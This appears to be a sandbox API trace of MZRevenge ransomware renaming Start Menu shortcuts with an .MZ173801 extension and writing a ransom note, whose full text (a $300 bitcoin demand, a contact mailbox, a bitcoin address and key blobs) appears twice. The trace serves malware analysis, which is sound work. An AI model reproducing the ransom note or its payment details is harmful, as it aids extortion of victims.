lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Windows Defender.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\system tools\\windows defender.lnk.mz173801")) returned 1 [0217.465] GetCurrentThreadId () returned 0xab4 [0217.465] GetCurrentThreadId () returned 0xab4 [0217.465] GetCurrentThreadId () returned 0xab4 [0217.465] GetCurrentThreadId () returned 0xab4 [0217.465] GetCurrentThreadId () returned 0xab4 [0217.465] GetCurrentThreadId () returned 0xab4 [0217.466] FindNextFileW (in: hFindFile=0xa1b5b0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2d621b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0xe2d621b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0xe2d621b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x422, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Windows Defender.lnk", cAlternateFileName="")) returned 0 [0217.466] GetLastError () returned 0x12 [0217.466] FindClose (in: hFindFile=0xa1b5b0 | out: hFindFile=0xa1b5b0) returned 1 [0217.466] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xabc20bfc, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0xabc20bfc, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b508 [0217.466] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0217.466] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0217.466] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xabc20bfc, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0xabc20bfc, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0217.466] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0217.466] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0217.466] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a9704bf, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5f69dfa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc8e8141c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0217.466] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34c6d05b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x34c6d05b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xabbfa9ff, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Task Manager.lnk.MZ173801", cAlternateFileName="")) returned 1 [0217.466] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0217.466] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0217.466] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2d621b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0xe2d621b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0xabc20bfc, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x422, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Windows Defender.lnk.MZ173801", cAlternateFileName="")) returned 1 [0217.466] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0217.466] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0217.466] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2d621b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0xe2d621b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0xabc20bfc, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x422, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Windows Defender.lnk.MZ173801", cAlternateFileName="")) returned 0 [0217.467] GetLastError () returned 0x12 [0217.467] FindClose (in: hFindFile=0xa1b508 | out: hFindFile=0xa1b508) returned 1 [0217.467] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xc24e8184, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Tablet PC", cAlternateFileName="TABLET~1")) returned 1 [0217.467] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc307c637, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xc307c637, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xa85e356e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x86e, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Visio 2016.lnk.MZ173801", cAlternateFileName="VISIO2~1.MZ1")) returned 1 [0217.467] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0217.467] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0217.467] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea725d67, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea725d67, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xa8977022, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2e1, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Windows 10 Update Assistant.lnk.MZ173801", cAlternateFileName="WINDOW~1.MZ1")) returned 1 [0217.467] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0217.467] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0217.467] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e664927, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x6e664927, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa89e9307, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x628, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Windows Media Player.lnk.MZ173801", cAlternateFileName="WINDOW~2.MZ1")) returned 1 [0217.467] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0217.467] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0217.467] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4db984e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4db984e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xa8a3586f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x999, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Word 2016.lnk.MZ173801", cAlternateFileName="WORD20~1.MZ1")) returned 1 [0217.467] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0217.467] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0217.467] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4db984e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4db984e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xa8a3586f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x999, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Word 2016.lnk.MZ173801", cAlternateFileName="WORD20~1.MZ1")) returned 0 [0217.467] GetLastError () returned 0x12 [0217.467] FindClose (in: hFindFile=0xa1b268 | out: hFindFile=0xa1b268) returned 1 [0217.468] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfd412f52, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfd412f52, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x77a5dcac, cFileName="Programs", cAlternateFileName="")) returned 0 [0217.468] GetLastError () returned 0x12 [0217.468] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0217.468] GetACP () returned 0x4e4 [0217.468] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19fd5c | out: lpCPInfo=0x19fd5c) returned 1 [0217.468] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fba4, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0217.743] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\Google Chrome.url" (normalized: "c:\\users\\fd1hvy\\desktop\\google chrome.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0217.745] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="[InternetShortcut]\r\nURL=https://www.google.com/\r\nIconIndex=0\r\n", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0217.745] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="[InternetShortcut]\r\nURL=https://www.google.com/\r\nIconIndex=0\r\n", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0217.745] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="[InternetShortcut]\r\nURL=https://www.google.com/\r\nIconIndex=0\r\n", cchWideChar=62, lpMultiByteStr=0x25caa98, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[InternetShortcut]\r\nURL=https://www.google.com/\r\nIconIndex=0\r\n", lpUsedDefaultChar=0x0) returned 62 [0217.745] WriteFile (in: hFile=0x32c, lpBuffer=0x25caa98*, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0x19fd14, lpOverlapped=0x0 | out: lpBuffer=0x25caa98*, lpNumberOfBytesWritten=0x19fd14*=0x3e, lpOverlapped=0x0) returned 1 [0217.746] CloseHandle (hObject=0x32c) returned 1 [0217.746] GetCurrentThreadId () returned 0xab4 [0217.746] GetCurrentThreadId () returned 0xab4 [0217.746] GetCurrentThreadId () returned 0xab4 [0217.746] GetSystemDefaultLangID () returned 0xa10409 [0217.746] VerLanguageNameW (in: wLang=0x409, szLang=0x3216070, cchLang=0xfa | out: szLang="English (United States)") returned 0x17 [0217.747] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fba4, csidl=8, fCreate=0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0217.747] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent")) returned 0x11 [0217.748] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fba4, csidl=8, fCreate=0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0217.748] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\How Do I Recover My Files (Readme).txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\how do i recover my files (readme).txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0217.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRİVATE MZREVENGE KEY }============================\r\n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\r\n=================================================================================\r\n", cchWideChar=5981, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5981 [0217.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRİVATE MZREVENGE KEY 